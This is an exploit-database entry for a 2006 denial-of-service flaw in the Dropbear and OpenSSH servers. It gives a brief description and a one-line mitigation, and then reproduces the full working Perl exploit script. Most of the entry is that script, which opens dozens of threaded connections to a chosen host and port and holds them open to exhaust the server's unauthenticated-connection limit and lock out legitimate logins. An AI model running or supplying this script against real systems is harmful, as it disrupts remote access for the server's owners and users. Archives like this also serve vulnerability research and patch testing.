Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit

vendor:

Dropbear and OpenSSH Server

by:

/str0ke

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Dropbear and OpenSSH Server

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit

This exploit is based on a vulnerability in the Dropbear and OpenSSH Server code. The vulnerable code is in svr-main.c, where the MAX_UNAUTH_CLIENTS variable is not properly checked. This allows an attacker to send a large number of connections to the server, causing it to crash.

Mitigation:

The vulnerability can be mitigated by properly checking the MAX_UNAUTH_CLIENTS variable and limiting the number of connections that can be made to the server.

Source

Exploit-DB raw data:

#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

sub usage
{
	print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
	print "by /str0ke (milw0rm.com)\n";
	print "Credits to Pablo Fernandez\n";
	print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
	exit ();
}

sub exploit
{
	my ($serv, $port, $sleep) = @_;
	my $sock = new IO::Socket::INET ( PeerAddr => $serv,
	PeerPort => $port,
	Proto => 'tcp',
	);

	die "Could not create socket: $!\n" unless $sock;
	sleep $sleep;
	close($sock);
}

sub thread {
	print "Server: $serv\nPort: $port\nSeconds: $time\n";
	for my $i ( 1 .. 51 ) {
		print ".";
		my $thr = new Thread \&exploit, $serv, $port, $time;
	}
	sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

# milw0rm.com [2006-03-10]